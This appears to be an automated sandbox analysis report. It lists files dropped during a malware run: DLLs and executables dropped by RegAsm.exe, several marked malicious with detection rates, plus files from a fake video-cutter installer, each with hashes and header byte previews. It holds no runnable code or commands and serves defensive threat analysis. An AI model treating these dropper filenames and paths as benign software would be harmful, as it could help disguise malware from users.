Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c6fcb30b9dd_123p[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d08591035ef_AttachmentDaughters[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1068804
Entropy (8bit):	7.908307822457223
Encrypted:	false
SSDEEP:	24576:T3ThU20saWF461GGhJryB+dItlXPoxt1tXNq7pk04o9wynZTAgEXt:7OcXDGG/uua1Y3XwpkkagGt
MD5:	ABB713CF90E8345C0B6B79345CBDC9D6
SHA1:	67E705D4070B58994F0B718005D5F07FEF824192
SHA-256:	BFE19615479CFF03AD963D8206C2E3E89DDAFD30BB4978E27976295214D3F295
SHA-512:	809B8C6AAE46674C4C5FE24A98AE1FA065AB24D44C42E56B85946D7CC039F4139EB34E62DAAF2EA1058180884A72C411D639C79EACC491E7FDB555A11B4DD524
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8............@.......................................@.................................4........@...=......................d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc....=...@...>..................@..@.reloc..2...........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d0cd9a65b5d_vqwergf[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196648
Entropy (8bit):	7.963093250945942
Encrypted:	false
SSDEEP:	6144:HQOkLP/rabJ2k24h3ErKsHJHOwiZ8byukEO:JcP/rFkLqrKQJEueukEO
MD5:	70567FAE269796BF407322D0A4435054
SHA1:	E11EDDF4F0CE6D5288D8187005D34EEE6EFBA046
SHA-256:	5923793C30ACF9026A872FCB8CE04A671FA194BB4F73EEF165D687AE97683047
SHA-512:	8C52339E85B8827FA25C1FB64FA47CA6DE25F40D6F66B5D426A276E93D10751537F03C41E144CA22A6C34D10A896EBD7A8070846984F783E293BF4B8B2A58617
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@......N,....`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................R&(.,X..U.f.h..&\...=E.....%"=m?*<...U..Hf.t$......U!.B.#..:..d..E...\..J1..9.......K.lX.GRA..6\|^...o....@.&..5........:....i .Xm..Xj...._0"L.X.EO j..%..mn.EcT%.3C.))..^.:.Tn7.w..Y....`[A.ty...N....j...s.\|QT?.9..'.:.l.$.{&V..}.9..nes..[...?.wqR/_JU.8.ir_R...h..y<.<..@/......'...-U..v8.F.2z..U'..q..5,....+..GE..?@..@!........?.Yy.2.....Yq._..vd[.....D....VR.Q..<..P.[.b.#_.D.../...6.Y....

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\areas.vss (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.0, Code page: 1251, Author: Alex M, Last Saved By: , Name of Creating Application: Microsoft Visio, Last Saved Time/Date: Wed Jul 2 10:49:43 2008
Category:	dropped
Size (bytes):	35328
Entropy (8bit):	6.12724692559485
Encrypted:	false
SSDEEP:	768:iWrWvB3jB8UJjRqHNl1g2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKc:iYW1jCUJjRqtl11
MD5:	5E71266FE44B81057E546A2ADEE49131
SHA1:	3AFBF0D78EE50F6B489572FE1D2C0C9BF8016580
SHA-256:	21889C505A0234524AC95081260329ACEE5100ED2D30278B52399D62D8AA801E
SHA-512:	8287D973C71DB110B092CC99B9908571474409B1818799142651262E8D345EBBACE2066F02354B0966D3DB742EAA9FB41174C17A338074C213C1F78E7857DE87
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\areas.vssx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	21075
Entropy (8bit):	7.554305714727671
Encrypted:	false
SSDEEP:	384:mGVjXBTgCjDyjdbBHzh2+lxw2aro4QxkK4jK1uxlBW+0S35:NNgCjujF5DsoDkj70+0Sp
MD5:	C027B58057CB33B7D1EF9B7204B83DF7
SHA1:	1DCD0B9F11886EB3BEAE7E4CC9AA725BAA49342D
SHA-256:	5612A57A73B168840EB7FBBCA3981E244D349A121B082EE6CDD593119E4C8873
SHA-512:	CE5DA3D2D196B5F1FE14FC3F4582171D47E9776996082A46EE01A9F0A3EA9252EA1F078C720FE6880BD160FB037F7D571B561D625D35D4BA0F5E1261BFDD4077
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.L?..f...;.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H...-J...!...%tQ>.._Z.x..;.=/..@.4B.$J.{..u..\|o+........g.......\|..9.$...wP.. .....C.d.vX.uJ.A.Tk..s...H....J..>...d4.....e......rS%....m...r..N.Y..!TF.DI......#.l.......\.%.#..:..U.....1.JK1..PD...XZD~..j1k49..r+..Jv.@...RQ...\|.o.Vg.. &.}.'.T.p./K..o..m.........6g....6.? .....=.$....c<.1.1.<....@...A.!....v.i....I..Es..>.......PK..........!................._rels/.rels ...(...........................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\devices.vssx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	796010
Entropy (8bit):	7.990815300175507
Encrypted:	true
SSDEEP:	24576:40vGRPRqM0RpueplpGLpT+DlW3y/E3kd+:40vGRPRqM8lpGLpwlWi3d+
MD5:	20D3CBCE0D291FB238CD046B7BC3744D
SHA1:	F4143CA63D500526B94FA86EA7302749B63CE4C0
SHA-256:	4E6E085089C471B6418195D056D8F32224D45273ACC7ABBA3076D94ED9480434
SHA-512:	763E91636C22BEA80ADA482BFAD3B31F13694A59C9655EA1214A2F1C6F637076A079AE73377E78475438E81798F017B6DF5C270161DBD4B1E0E0484FAFE06649
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.V..c............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................]o.0...'.?D....vmE..>..^.?.J....Ql(..;...1.).....<..<.x~.m.dc.`.+R.....W.-....{v.&!jW..;S./&....../....](.U...c.\.V..w..J..VG../Y.._zi...Y.]4.fq...._M..ML.m..}'........U.....lXa'3.i....:....U.:..]..=.V..........]..8.~.8{[..A..n.w...-V.r.....u.F..2y.....[m.kg..T...].......3:NbHg..2}..8..D..x..k[..D.p.....u...o.....a..=.7..~A..3=D...).......#...5=.jz.....#n.G.N..3...7.....s....8.H...s.....x.........x.........x.

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\is-8UQDF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	10941
Entropy (8bit):	6.980443262363119
Encrypted:	false
SSDEEP:	192:eQ8VBwf7aUxu+Cuj1pCUTB37vLQJgWlYD+hVMdZgOZCKrHGRG41hHFSYz0U:3z7aUHj1pCSRrLwzlYDuMdiOBHGjhHF3
MD5:	3DC27A0A53DAA4A9A26BA4BD4FF6EFC4
SHA1:	67B7A181A16B7F9B0DD6A261F82F60AAE9C55FE4
SHA-256:	FC4EA91C0B13CD0C437450EF1FB39C94C12AF52A0B2B2D5C4C66E8C04D907AFE
SHA-512:	B1FA59214BD60844BD0AEDAC15F02702CE133FA4FF2048C17D944E4A1EC54CDC1B8FC380B35B9B4F0758B1BA03957E74FAC6B7EE307A2896F292E90D2317709E
Malicious:	false
Reputation:	unknown
Preview:	PK..........!..`.l]...@.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................S.N.0..#....(q..!...#.P>..'.E...n..8i#Z...K.d..y..v..6.P;[.q1b.X..}...G.a.V..Y(.....7....f..X.U...s.+0.....r..H.a.._b..~4z....6.1q....*..c.....0...sI.d.$..O.~....3...RD.o.:s..\..l..J{.#.(............l.B\|......rrmh..:O2j0o0E.....Fh{.vI....y.t..P8-..".sOD.........pAWUZB........r....4=..6=.G..M...]...Z.......o.Un;...r....?........PK..........!..X.%...^......._rels/.rels ...(....................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\is-B9JT3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	33880
Entropy (8bit):	7.741625539763484
Encrypted:	false
SSDEEP:	768:jzhnOhaeVEHYAS/uE126rOUP79Qt5Nu3RTAzj2EkZDwn2R3:jzcseVEHTSGEM6P9QtzuBTAnjko2R3
MD5:	101E481D0031B0B3EC8DA95C90361E5B
SHA1:	67012D9A226EF237E541FADA023AD1794920569A
SHA-256:	59AE6C45A11933363D0EA6797854E09E0D0002D25F634A280467A4F805DAEC3A
SHA-512:	B6BDBA204F3B5245B8F59FD0CB558FAD98B4D37BF8DC9785ED5E9576EDCD8C965C0F2AA8512B7140865F53EFE4B7E93759126BFD21505A8BF410653464841C1D
Malicious:	false
Reputation:	unknown
Preview:	PK..........!...j.w..........[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H...-J..(.j.....(.`./.E<.v...eh$P).P6.b..s.^,O.{].-.....0.P.FX......dBI..H^X..=@.....typ...M..:F..X.k.<.....z.#~..s\\|....`0f..&&.....3.\|SD...:.."P.T/,Y....J..I......!.....r..cPv.P...ht.X..$....k....#2i.F.&..>eP..J...PE..2.d......,.......V.T'...G.m-.....6..."P.Q........7....^7...g.5..".=m$..y.1.........q.?.....C..I....B....].+..Gb....N.....n........PK..........!................._rels/.rels ...(..........

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\is-CJ131.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: Alex M, Name of Creating Application: Microsoft Visio
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	6.5220907812181945
Encrypted:	false
SSDEEP:	768:e4Ojp2NtewXUdPSQ8fgh/1w7UxmSGGGGGGGGGGGGGGGG5GGGGGGGGGGGGG5GvBdl:d2p2TkdKvfgh/1wYpBknOmrRd8
MD5:	21EFB66726A048B081DBE70AF3B49532
SHA1:	64256CF635B71BF886446D24A6C82304AE4DF57E
SHA-256:	CEC8E2D6EEA74362909EDB714B8B9EBFA0E6B6BDE893EB1F3B944A7A5B8310BA
SHA-512:	4DF1CB0EFF47473E033E8C5C58E86D5B8A63DD11A658F1E69941A71C5BFFD80BBCFE77DC6EA5CE6693F1A59D194A1BFC4BE51F0FD9DEDAB8A03406055AB8E886
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\is-DT3JA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.0, Code page: 1251, Author: Alex M, Last Saved By: , Name of Creating Application: Microsoft Visio, Last Saved Time/Date: Wed Jul 2 10:49:43 2008
Category:	dropped
Size (bytes):	35328
Entropy (8bit):	6.12724692559485
Encrypted:	false
SSDEEP:	768:iWrWvB3jB8UJjRqHNl1g2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKc:iYW1jCUJjRqtl11
MD5:	5E71266FE44B81057E546A2ADEE49131
SHA1:	3AFBF0D78EE50F6B489572FE1D2C0C9BF8016580
SHA-256:	21889C505A0234524AC95081260329ACEE5100ED2D30278B52399D62D8AA801E
SHA-512:	8287D973C71DB110B092CC99B9908571474409B1818799142651262E8D345EBBACE2066F02354B0966D3DB742EAA9FB41174C17A338074C213C1F78E7857DE87
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\is-JIFVJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1251, Author: Alex M, Template: C:\work\NetDiagram\visio\netdiagram.vst, Last Saved By: Alex M, Name of Creating Application: Microsoft Visio, Last Saved Time/Date: Tue Aug 14 11:36:07 2012
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.743855635666745
Encrypted:	false
SSDEEP:	192:rgxToQ+gDZlSKcVZRVLClWmELJyZP6aTK3:rgxMnKwLClWmyg6iK
MD5:	78C84AA115E8C391EC7A4117613D7794
SHA1:	C4E3C4B8CA5A3B9E8AE1378E839154E33B394662
SHA-256:	0851AE8F561F49278C8AD81363F15481235EC3DF0CF80C73408D3D226BCC9612
SHA-512:	83E134533BC8C03B8D2DF23E4C9B77DA2236E90BB336F1F565C5C46F6A7495FA2A1AE090B9400CDC44354887FD7D29B3F3EE8D9A3D81A8F2AFB45C9086BFD328
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\is-JSER9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	796010
Entropy (8bit):	7.990815300175507
Encrypted:	true
SSDEEP:	24576:40vGRPRqM0RpueplpGLpT+DlW3y/E3kd+:40vGRPRqM8lpGLpwlWi3d+
MD5:	20D3CBCE0D291FB238CD046B7BC3744D
SHA1:	F4143CA63D500526B94FA86EA7302749B63CE4C0
SHA-256:	4E6E085089C471B6418195D056D8F32224D45273ACC7ABBA3076D94ED9480434
SHA-512:	763E91636C22BEA80ADA482BFAD3B31F13694A59C9655EA1214A2F1C6F637076A079AE73377E78475438E81798F017B6DF5C270161DBD4B1E0E0484FAFE06649
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.V..c............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................]o.0...'.?D....vmE..>..^.?.J....Ql(..;...1.).....<..<.x~.m.dc.`.+R.....W.-....{v.&!jW..;S./&....../....](.U...c.\.V..w..J..VG../Y.._zi...Y.]4.fq...._M..ML.m..}'........U.....lXa'3.i....:....U.:..]..=.V..........]..8.~.8{[..A..n.w...-V.r.....u.F..2y.....[m.kg..T...].......3:NbHg..2}..8..D..x..k[..D.p.....u...o.....a..=.7..~A..3=D...).......#...5=.jz.....#n.G.N..3...7.....s....8.H...s.....x.........x.........x.

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\is-U82RP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	21075
Entropy (8bit):	7.554305714727671
Encrypted:	false
SSDEEP:	384:mGVjXBTgCjDyjdbBHzh2+lxw2aro4QxkK4jK1uxlBW+0S35:NNgCjujF5DsoDkj70+0Sp
MD5:	C027B58057CB33B7D1EF9B7204B83DF7
SHA1:	1DCD0B9F11886EB3BEAE7E4CC9AA725BAA49342D
SHA-256:	5612A57A73B168840EB7FBBCA3981E244D349A121B082EE6CDD593119E4C8873
SHA-512:	CE5DA3D2D196B5F1FE14FC3F4582171D47E9776996082A46EE01A9F0A3EA9252EA1F078C720FE6880BD160FB037F7D571B561D625D35D4BA0F5E1261BFDD4077
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.L?..f...;.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H...-J...!...%tQ>.._Z.x..;.=/..@.4B.$J.{..u..\|o+........g.......\|..9.$...wP.. .....C.d.vX.uJ.A.Tk..s...H....J..>...d4.....e......rS%....m...r..N.Y..!TF.DI......#.l.......\.%.#..:..U.....1.JK1..PD...XZD~..j1k49..r+..Jv.@...RQ...\|.o.Vg.. &.}.'.T.p./K..o..m.........6g....6.? .....=.$....c<.1.1.<....@...A.!....v.i....I..Es..>.......PK..........!................._rels/.rels ...(...........................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\lines.vss (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: Alex M, Name of Creating Application: Microsoft Visio
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	6.5220907812181945
Encrypted:	false
SSDEEP:	768:e4Ojp2NtewXUdPSQ8fgh/1w7UxmSGGGGGGGGGGGGGGGG5GGGGGGGGGGGGG5GvBdl:d2p2TkdKvfgh/1wYpBknOmrRd8
MD5:	21EFB66726A048B081DBE70AF3B49532
SHA1:	64256CF635B71BF886446D24A6C82304AE4DF57E
SHA-256:	CEC8E2D6EEA74362909EDB714B8B9EBFA0E6B6BDE893EB1F3B944A7A5B8310BA
SHA-512:	4DF1CB0EFF47473E033E8C5C58E86D5B8A63DD11A658F1E69941A71C5BFFD80BBCFE77DC6EA5CE6693F1A59D194A1BFC4BE51F0FD9DEDAB8A03406055AB8E886
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\lines.vssx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	33880
Entropy (8bit):	7.741625539763484
Encrypted:	false
SSDEEP:	768:jzhnOhaeVEHYAS/uE126rOUP79Qt5Nu3RTAzj2EkZDwn2R3:jzcseVEHTSGEM6P9QtzuBTAnjko2R3
MD5:	101E481D0031B0B3EC8DA95C90361E5B
SHA1:	67012D9A226EF237E541FADA023AD1794920569A
SHA-256:	59AE6C45A11933363D0EA6797854E09E0D0002D25F634A280467A4F805DAEC3A
SHA-512:	B6BDBA204F3B5245B8F59FD0CB558FAD98B4D37BF8DC9785ED5E9576EDCD8C965C0F2AA8512B7140865F53EFE4B7E93759126BFD21505A8BF410653464841C1D
Malicious:	false
Reputation:	unknown
Preview:	PK..........!...j.w..........[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H...-J..(.j.....(.`./.E<.v...eh$P).P6.b..s.^,O.{].-.....0.P.FX......dBI..H^X..=@.....typ...M..:F..X.k.<.....z.#~..s\\|....`0f..&&.....3.\|SD...:.."P.T/,Y....J..I......!.....r..cPv.P...ht.X..$....k....#2i.F.&..>eP..J...PE..2.d......,.......V.T'...G.m-.....6..."P.Q........7....^7...g.5..".=m$..y.1.........q.?.....C..I....B....].+..Gb....N.....n........PK..........!................._rels/.rels ...(..........

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\netdiagram.vst (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1251, Author: Alex M, Template: C:\work\NetDiagram\visio\netdiagram.vst, Last Saved By: Alex M, Name of Creating Application: Microsoft Visio, Last Saved Time/Date: Tue Aug 14 11:36:07 2012
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.743855635666745
Encrypted:	false
SSDEEP:	192:rgxToQ+gDZlSKcVZRVLClWmELJyZP6aTK3:rgxMnKwLClWmyg6iK
MD5:	78C84AA115E8C391EC7A4117613D7794
SHA1:	C4E3C4B8CA5A3B9E8AE1378E839154E33B394662
SHA-256:	0851AE8F561F49278C8AD81363F15481235EC3DF0CF80C73408D3D226BCC9612
SHA-512:	83E134533BC8C03B8D2DF23E4C9B77DA2236E90BB336F1F565C5C46F6A7495FA2A1AE090B9400CDC44354887FD7D29B3F3EE8D9A3D81A8F2AFB45C9086BFD328
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\Visio\netdiagram.vstx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	10941
Entropy (8bit):	6.980443262363119
Encrypted:	false
SSDEEP:	192:eQ8VBwf7aUxu+Cuj1pCUTB37vLQJgWlYD+hVMdZgOZCKrHGRG41hHFSYz0U:3z7aUHj1pCSRrLwzlYDuMdiOBHGjhHF3
MD5:	3DC27A0A53DAA4A9A26BA4BD4FF6EFC4
SHA1:	67B7A181A16B7F9B0DD6A261F82F60AAE9C55FE4
SHA-256:	FC4EA91C0B13CD0C437450EF1FB39C94C12AF52A0B2B2D5C4C66E8C04D907AFE
SHA-512:	B1FA59214BD60844BD0AEDAC15F02702CE133FA4FF2048C17D944E4A1EC54CDC1B8FC380B35B9B4F0758B1BA03957E74FAC6B7EE307A2896F292E90D2317709E
Malicious:	false
Reputation:	unknown
Preview:	PK..........!..`.l]...@.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................S.N.0..#....(q..!...#.P>..'.E...n..8i#Z...K.d..y..v..6.P;[.q1b.X..}...G.a.V..Y(.....7....f..X.U...s.+0.....r..H.a.._b..~4z....6.1q....*..c.....0...sI.d.$..O.~....3...RD.o.:s..\..l..J{.#.(............l.B\|......rrmh..:O2j0o0E.....Fh{.vI....y.t..P8-..".sOD.........pAWUZB........r....4=..6=.G..M...]...Z.......o.Un;...r....?........PK..........!..X.%...^......._rels/.rels ...(....................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\file_id.diz (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.4399730864921905
Encrypted:	false
SSDEEP:	6:c+SdoDGi9C9quMc4D+2ZZQTHGdt53D6OL8Qy:U899ZuMcmvGHG5z6VQy
MD5:	5D1F6956165E6F95D80C0EC48C4B7B39
SHA1:	035D8BBF724413EE63BD5E1CA33983552475A650
SHA-256:	CD18B928D2F2F1AAE123C23CC934EF42E89E4CDEAECD2D0961D84A4B2EFF09E7
SHA-512:	5A8317D0A3CA91BD0CDDBA9A846E773F8AD1CE2C42140E8E55307E5AEF812FF06C89E1DFE40230D309E40522CA1DF9D861AB0D551ED2478E272D22314BC70EE0
Malicious:	false
Reputation:	unknown
Preview:	"10-......: ..... ...." 3.9............. ... ........ ............... ..........Windows XP/2003/Vista/2008/7/8/2012/10/../2016/2019....(c) 10-Strike Software, 2008-2023..https://www.10-strike.ru/..

C:\Users\user\AppData\Local\Simple Free Video Cutter\is-06KMO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707354
Entropy (8bit):	6.474083228041142
Encrypted:	false
